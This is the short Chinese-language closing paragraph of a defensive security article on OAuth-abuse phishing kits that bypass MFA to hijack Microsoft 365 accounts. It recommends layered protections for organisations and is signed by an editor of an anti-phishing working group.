随着 OAuth 协议滥用类钓鱼工具持续商业化迭代,Microsoft 365 账号绕过 MFA 劫持风险持续攀升,Jalisco 与 OmegaLord 代表当前黑产攻击技术的主流演化方向。政企单位需客观认知传统多因素认证的防御局限性,放弃单一防护思路,从云身份底层架构加固入手,配套流量过滤、自动化审计、人员安全运营多层措施,持续迭代防御策略,同步建立标准化账号泄露应急处置流程,降低企业敏感数据泄露、勒索攻击带来的业务与合规损失。本文提供的工具代码、身份策略配置、自动化检测脚本均经过公开安全厂商实测验证,可直接用于企业攻防演练与生产环境防护部署,为云办公场景下新型网络钓鱼攻击防御提供完整技术参考。
编辑:芦笛(公共互联网反网络钓鱼工作组)